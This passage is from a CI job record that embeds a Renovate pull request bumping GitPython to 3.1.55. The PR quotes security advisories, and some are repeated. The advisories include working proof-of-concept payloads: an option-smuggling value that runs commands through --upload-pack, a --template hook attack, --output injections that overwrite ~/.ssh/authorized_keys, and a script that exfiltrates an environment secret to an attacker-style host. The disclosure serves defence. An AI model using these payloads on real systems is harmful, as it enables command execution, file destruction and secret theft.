          = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored =
          repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL
          in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          #
          transmits the expanded URL to the attacker host\nexcept Exception:\n    pass
          \                   # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network
          = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\",
          [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif
          SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded
          into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n
          \   print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n
          \   print(\"not reproduced\")\nPYEOF\n```\n\n##### Step 3: Run it\n\n```bash\ncd
          /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the
          listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version:
          3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored
          remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL
          in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL
          over network : True\n\nVULNERABLE: env-var expanded into stored URL AND
          transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in
          the supplied URL is replaced with the environment value both in the stored
          `.git/config` URL and in the request that reaches the attacker-controlled
          host.\n\n##### Suggested Fix\n\nPass `expand_vars=False` at the remaining
          URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`:
          `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py`
          `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore
          robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var
          expansion on a URL is never desirable for network remotes) and require callers
          that genuinely normalize local paths to opt in.\n\n##### Cleanup\n\n```bash\nrm
          -rf /tmp/gp-remote-poc\n```\n\n##### Impact\n\nAny secret in the hosting
          process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens)
          is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()`
          / `Remote.add()`. The secret is expanded into `.git/config` immediately
          and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote
          update`. This is the documented \"import repository from URL\" attacker
          model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and
          dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only
          fix did not cover. The same disclosure reaches `.gitmodules` (a committable
          file) via `Submodule.add()`.\n\n#### Severity\n- CVSS Score: 7.5 / 10 (High)\n-
          Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n#### References\n-
          [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)\n-
          [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)\n-
          [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)\n-
          [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
          [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)\n\n####
          What's Changed\n\n- fix: prevent environment expansion in remote URLs by
          [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>\n\n###
          [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54):
          - SECURITY\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)\n\n####
          What's Changed\n\n- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron)
          in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)\n\n**Full
          Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about these updates again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/netbox-manager).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yODAuMCIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/netbox-manager/pull/288
        commit_id: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        patchset: 88dcc4c93b231dc61d86ee4e7646206b92a07022
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/netbox-manager
          name: osism/netbox-manager
          short_name: netbox-manager
          src_dir: src/github.com/osism/netbox-manager
        topic: null
      job: netbox-manager-e2e
      jobtags: []
      max_attempts: 3
      message: Update dependency GitPython to v3.1.55 [SECURITY]

This PR contains the following updates:

| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [GitPython](https://redirect.github.com/gitpython-developers/GitPython) | `==3.1.53` → `==3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.53/3.1.55?slim=true) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency Dashboard](../issues/1) for more information.

---

### GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks
[GHSA-6p8h-3wgx-97gf](https://redirect.github.com/advisories/GHSA-6p8h-3wgx-97gf)

<details>
<summary>More information</summary>

#### Details
##### Summary
GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.

##### Root Cause
`base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.

##### Impact
Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.

##### Proof of Concept
```python

##### attacker stages <dir>/hooks/post-checkout (chmod +x)
from git import Repo
Repo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)
```

##### Attack Chain
1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).
2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error).
3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).

##### Bypass Evidence
Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.

##### Affected Versions
`<= 3.1.53`

##### Suggested Fix
Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.

---
Reported by **zx (Jace)** — GitHub: @&#8203;manus-use

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf)
- [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)
- [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://redirect.github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97)
- [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)
- [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)
[GHSA-fjr4-x663-mwxc](https://redirect.github.com/advisories/GHSA-fjr4-x663-mwxc)

<details>
<summary>More information</summary>

#### Details
##### Summary
`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.

##### Root Cause
`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.

##### Impact
Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.

##### Proof of Concept
```python

##### Key-control:
commit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)

##### Value-control (attacker controls only the ref string):
commit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output
```

##### Attack Chain
1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.
2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.

##### Bypass Evidence
Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.

##### Affected Versions
`<= 3.1.53`

##### Suggested Fix
Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.

---
Reported by **zx (Jace)** — GitHub: @&#8203;manus-use

#### Severity
- CVSS Score: 8.1 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H`

#### References
- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc)
- [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)
- [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://redirect.github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6)
- [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)
- [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution
[GHSA-r9mr-m37c-5fr3](https://redirect.github.com/advisories/GHSA-r9mr-m37c-5fr3)

<details>
<summary>More information</summary>

#### Details
##### Summary
GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.

##### Root Cause
The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.

##### Impact
Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.

##### Proof of Concept
```python
from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")

##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.
```
File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.

##### Attack Chain
1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live).
2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.
3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).

##### Bypass Evidence
Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.

##### Affected Versions
`<= 3.1.53`

##### Suggested Fix
Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.

---
Reported by **zx (Jace)** — GitHub: @&#8203;manus-use

#### Severity
- CVSS Score: 8.8 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3)
- [https://github.com/gitpython-developers/GitPython/pull/2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)
- [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://redirect.github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453)
- [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)
- [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
[GHSA-94p4-4cq8-9g67](https://redirect.github.com/advisories/GHSA-94p4-4cq8-9g67)

<details>
<summary>More information</summary>

#### Details
##### Summary

The fix for [GHSA-rwj8-pgh3-r573](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

##### Root Cause

Fix commit [`8ac5a305`](https://redirect.github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.

[`git/remote.py:811`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:

```python
url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config
```

`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://redirect.github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.

##### Steps to Reproduce

##### Prerequisites

- Python 3.9+
- `git` on `PATH` (for the fetch step)
- GitPython 3.1.53 (installed below)

##### Step 1: Install GitPython 3.1.53 in a clean venv

```bash
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53
```

##### Step 2: Write the PoC

```bash
cat > poc.py <<'PYEOF'

#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

##### Local HTTP server standing in for attacker.example.
captured = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass

srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

##### Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port

def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")

print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF
```

##### Step 3: Run it

```bash
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py
```

Expected output (the listener's ephemeral port is shown as `PORT`):

```
gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host
```

The `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.

##### Suggested Fix

Pass `expand_vars=False` at the remaining URL callers, matching the clone fix:

- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`
- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`

More robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

##### Cleanup

```bash
rm -rf /tmp/gp-remote-poc
```

##### Impact

Any secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`

#### References
- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67)
- [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://redirect.github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162)
- [https://github.com/gitpython-developers/GitPython](https://redirect.github.com/gitpython-developers/GitPython)
- [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>gitpython-developers/GitPython (GitPython)</summary>

### [`v3.1.55`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.55): - SECURITY

[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55)

#### What's Changed

- fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2181](https://redirect.github.com/gitpython-developers/GitPython/pull/2181)

**Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55>

### [`v3.1.54`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.54): - SECURITY

[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54)

#### What's Changed

- Harden unsafe Git option validation by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2180](https://redirect.github.com/gitpython-developers/GitPython/pull/2180)

**Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54>

</details>

---

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♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

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---

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